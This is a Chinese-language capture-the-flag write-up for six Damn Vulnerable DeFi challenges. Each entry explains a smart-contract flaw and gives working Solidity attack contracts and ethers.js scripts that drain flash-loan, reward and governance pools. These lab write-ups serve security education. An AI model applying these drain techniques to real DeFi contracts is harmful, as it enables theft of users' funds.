ctf网址:https://www.damnvulnerabledefi.xyz/
第一题:unstoppable
代码中定义变量来记录tokenbalance来判断是否与当前balance相等,如果调用token的transfer发送给pool一点token就会让判断失败flashLoan函数就会恒定失败无法完成。
exp代码:
await this.token.connect(attacker).transfer(this.pool.address,INITIAL_ATTACKER_TOKEN_BALANCE);
第二题:Naive receiver 合约FlashLoanReceiver只判断了msg.sender是否等于pool。 所以通过调用10次闪电贷合约borrower地址填写FlashLoanReceiver地址就可以将FlashLoanReceiver内的eth清空, exp代码: 合约代码:
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract AttackNaiveReceiver {
NaiveReceiverLenderPool pool;
constructor(address payable _pool) {
pool = NaiveReceiverLenderPool(_pool);
}
function attack(address victim) public {
for (int i=0; i < 10; i++ ) {
pool.flashLoan(victim, 1 ether);
}
}
}
利用代码:
const AttackFactory = await ethers.getContractFactory("AttackNaiveReceiver", attacker);
const attackContract = await AttackFactory.deploy(this.pool.address);
await attackContract.attack(this.receiver.address);
第三题:Truster TrusterLenderPool 合约中闪电贷可以调用任意合约的任意函数。通过让合约调用token的approve函数来授权给attacker,再通过transferfrom将token转移给自己就能将token收走。 exp代码:
const abi = ["function approve(address spender, uint256 amount)"]
const iface = new ethers.utils.Interface(abi);
const data = iface.encodeFunctionData("approve", [attacker.address, ethers.constants.MaxUint256]);
await this.pool.flashLoan(0, attacker.address, this.token.address, data);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
第四题:SideEntrance 合约SideEntranceLenderPool中闪电贷函数没什么问题,但有一个deposit函数可以将eth再放回合约,通过flashLoan后再调用withdraw函数即可将合约中的eth转移给attacker。 exp代码: 合约代码:
import "./SideEntranceLenderPool.sol";
contract AttackSideEntrance{
SideEntranceLenderPool pool;
address owner;
constructor(address payable _pool) {
pool = SideEntranceLenderPool(_pool);
owner = payable(msg.sender);
}
function execute()public payable{
pool.deposit{value:address(this).balance}();
}
function attack(uint256 amount) public payable{
pool.flashLoan(amount);
pool.withdraw();
}
receive () external payable {
payable(owner).transfer(address(this).balance);
}
}
利用代码:
const AttackFactory = await ethers.getContractFactory("AttackSideEntrance", attacker);
const attackContract = await AttackFactory.deploy(this.pool.address);
await attackContract.attack(ETHER_IN_POOL);
第五题:The rewarder 在新的一轮中如果第一个调用distributeRewards就能执行accToken.snapshot()设置balance并且根据token数量的百分比分配token,而在deposit中有distributeRewards函数。如果通过闪电贷借大量token再deposit就能拿到新一轮的大量token。 exp代码:
import "../the-rewarder/FlashLoanerPool.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../DamnValuableToken.sol";
contract AttackReward {
FlashLoanerPool pool;
DamnValuableToken public immutable liquidityToken;
TheRewarderPool rewardPool;
address payable owner;
constructor(
address poolAddress,
address liquidityTokenAddress,
address rewardPoolAddress,
address payable _owner
) {
pool = FlashLoanerPool(poolAddress);
liquidityToken = DamnValuableToken(liquidityTokenAddress);
rewardPool = TheRewarderPool(rewardPoolAddress);
owner = _owner;
}
function attack(uint256 amount) external {
pool.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external {
liquidityToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
rewardPool.withdraw(amount);
liquidityToken.transfer(address(pool), amount);
uint256 currBal = rewardPool.rewardToken().balanceOf(address(this));
rewardPool.rewardToken().transfer(owner, currBal);
}
}
利用代码:
const AttackRewardFactory = await ethers.getContractFactory("AttackReward", attacker);
const attackContract = await AttackRewardFactory
.deploy(
this.flashLoanPool.address,
this.liquidityToken.address,
this.rewarderPool.address,
attacker.address)
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
await attackContract.attack(TOKENS_IN_LENDER_POOL);
第六题:Selfie 函数queueAction可以提交执行请求并且2天后通过执行executeaction执行任意函数,闪电贷借取大于1/2总数的token,并调用token的Snapshot后提交drainAllFunds的请求并在2天后执行就能提取SelfiePool所用的token; exp代码: 合约代码:
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
contract AttackSelfie {
SelfiePool pool;
DamnValuableTokenSnapshot public governanceToken;
address owner;
constructor(
address poolAddress,
address governanceTokenAddress,
address _owner
) {
pool = SelfiePool(poolAddress);
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
owner = _owner;
}
function attack() public {
uint256 amountToBorrow = pool.token().balanceOf(address(pool));
pool.flashLoan(amountToBorrow);
}
function receiveTokens(address token, uint256 amount) external {
governanceToken.snapshot();
pool.governance().queueAction(
address(pool),
abi.encodeWithSignature("drainAllFunds(address)", owner),
0
);
governanceToken.transfer(address(pool), amount);
}
}
利用代码:
const AttackFactory = await ethers.getContractFactory("AttackSelfie", attacker);
const attackContract = await AttackFactory.deploy(this.pool.address, this.token.address, attacker.address);
await attackContract.attack();
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
const attackGovernenceContract = this.governance.connect(attacker);
await attackGovernenceContract.executeAction(1);
|